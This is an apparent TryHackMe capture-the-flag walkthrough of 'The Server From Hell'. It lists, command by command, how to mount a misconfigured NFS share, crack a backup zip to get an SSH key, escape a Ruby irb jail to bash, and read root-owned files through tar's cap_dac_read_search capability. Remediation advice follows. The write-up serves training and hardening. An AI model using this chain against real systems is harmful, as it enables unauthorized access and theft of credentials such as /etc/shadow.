The Server From Hell
A port-banner puzzle leads to a misconfigured NFS export holding a crackable backup zip with an SSH key; SSH hides on a non-standard port behind decoy banners and drops into a Ruby irb jail we escape, then tar's cap_dac_read_search capability reads the root flag.
A walkthrough of the “The Server From Hell” room from TryHackMe — a deliberately annoying box that hides the next step at every turn. A banner puzzle points at a misconfigured NFS share, a crackable backup zip hands over an SSH key, SSH is buried on a non-standard port behind fake banners and lands us in a Ruby irb jail, and a capability on tar reads the root flag.
The Server From Hell is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. All flags and the zip password are shown as
THM{<redacted>}/<redacted>— real on the box, withheld here.
TL;DR
TL;DR
Port 1337 tells you to print the banners of the first 100 ports → one draws an ASCII trollface spelling “go to port 12345” → port 12345 hints at a misconfigured NFS share → showmount -e + mount reveals backup.zip → crack it (zip2john + john) to extract hades’s SSH key and a hint 2500-4500 → SSH isn’t on 22; among many decoy SSH banners in that range the real OpenSSH is on 3333, which drops into a Ruby irb jail → escape with system "..." for the user flag and a bash shell → /bin/tar carries cap_dac_read_search+ep, so tar reads /root/root.txt past file permissions (root flag).
The target
export IP=<target-ip>
Only port 1337 answers, with a riddle:
nmap -sC -sV -p 1337 $IP
# Welcome traveller... find the trollface, hiding in the first 100 ports
# Try printing the banners from the ports
Grabbing each of the first 100 ports’ banners prints an ASCII-art trollface, and buried in the art is the instruction “go to port 12345”:
for i in {1..100}; do (sleep 1; echo "get /") | telnet $IP $i | grep 550 >> x; done
cat x # trollface ASCII -> "... go to port 12345 ..."
Port 12345’s banner is the real hint: “NFS shares are cool, especially when they are misconfigured — it’s on the standard port.”
The vulnerability
The box is a stack of misconfigurations and obfuscation rather than one CVE: a world-readable NFS export, a weakly-encrypted backup zip, SSH hidden behind decoy banners, a restricted irb shell that isn’t really a jail, and an over-granted file capability on tar.
Insight
The two teachable twists: (1) the “SSH jail” is a Ruby irb prompt — but irb is a full interpreter, so system "/bin/bash" walks straight out. (2) Privilege escalation is a Linux capability, not SUID: /bin/tar with cap_dac_read_search+ep can bypass file read permissions, so tarring /root/root.txt and extracting it reads a file you otherwise can’t. getcap -r / belongs next to your SUID sweep.
Step 1 — mount the NFS share, crack the backup zip
showmount -e $IP # /home/nfs *
sudo mount -t nfs $IP:/home/nfs /mnt/nfs
# /mnt/nfs/backup.zip (encrypted)
zip2john backup.zip > hash.txt
john --wordlist=rockyou.txt hash.txt # password: <redacted>
unzip backup.zip # home/hades/.ssh/{id_rsa,authorized_keys,hint.txt,flag.txt}
cat home/hades/.ssh/flag.txt # THM{<redacted>}
hint.txt says 2500-4500 — a port range.
Step 2 — find the real SSH among decoys → escape the irb jail (user flag)
SSH isn’t on 22, and a scan of 2500-4500 returns a pile of fake SSH banners (DrayTek, Bitvise, bogus protocol numbers). The genuine one is a real OpenSSH 7.6p1 Ubuntu on 3333:
nmap -sV -p 2500-4500 -Pn $IP | grep ssh # 3333/tcp open ssh OpenSSH 7.6p1
ssh -i id_rsa hades@$IP -p 3333 # -> "Welcome to hell" ... irb(main):001:0>
The shell is a Ruby irb prompt. Since irb executes Ruby, just call out to the OS:
irb(main):001:0> system "cat user.txt"
# THM{<redacted>}
irb(main):002:0> system "/bin/bash"
hades@hell:~$ id # uid=1002(hades)
Step 3 — tar capability reads the root flag
No useful SUID or cron, but getcap finds the issue:
hades@hell:~$ getcap -r / 2>/dev/null
# /bin/tar = cap_dac_read_search+ep
cap_dac_read_search lets tar bypass read permission checks. Archive the root flag (which hades can’t read directly) and extract it:
cd /tmp
tar -cvf myflag.tar /root/root.txt
tar -xvf myflag.tar
cat root/root.txt # THM{<redacted>}
This recovers the root flag via an arbitrary-file-read capability; it’s not an interactive root shell (a full shell would need a different primitive), but it reads any root-owned file — including /etc/shadow or SSH keys for a real escalation.
Impact
Critical
High — CVSS 3.1 ~8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N). A world-readable NFS export discloses a backup containing an SSH key, and a weak zip password makes it trivially recoverable — giving authenticated access. The cap_dac_read_search capability on tar then allows reading any file on the system as a low-privileged user, exposing /root, /etc/shadow, and every secret — effectively full confidentiality compromise and a clear path to root.
Recommended fix
Fix
- Lock down NFS exports. Never export a home/backup directory to
*; restrict to specific hosts withroot_squashand least-privilege, and keep key material off shared storage. - Use strong zip/archive passwords or don’t password-protect secrets at all — encrypt properly and manage keys.
- Remove dangerous file capabilities.
cap_dac_read_searchontaris an arbitrary file-read primitive; audit withgetcap -r /and strip anything unneeded. - A restricted shell must actually restrict. An
irb/language REPL is not a jail — use a vetted restricted shell and drop interpreter access.
Takeaways
- Read the banners. The whole intro is a scavenger hunt encoded in service banners and ASCII art.
- Decoys waste time, not keys. Fingerprint services properly — the one real OpenSSH hid among fakes.
- A REPL is a shell.
irb,python,nodeprompts all escape viasystem/exec. getcap -r /is a privesc must.cap_dac_read_searchon tar reads anything — flags included.
The Server From Hell is pure obfuscation-as-difficulty, but every layer is a real, teachable misconfiguration. Thanks for reading.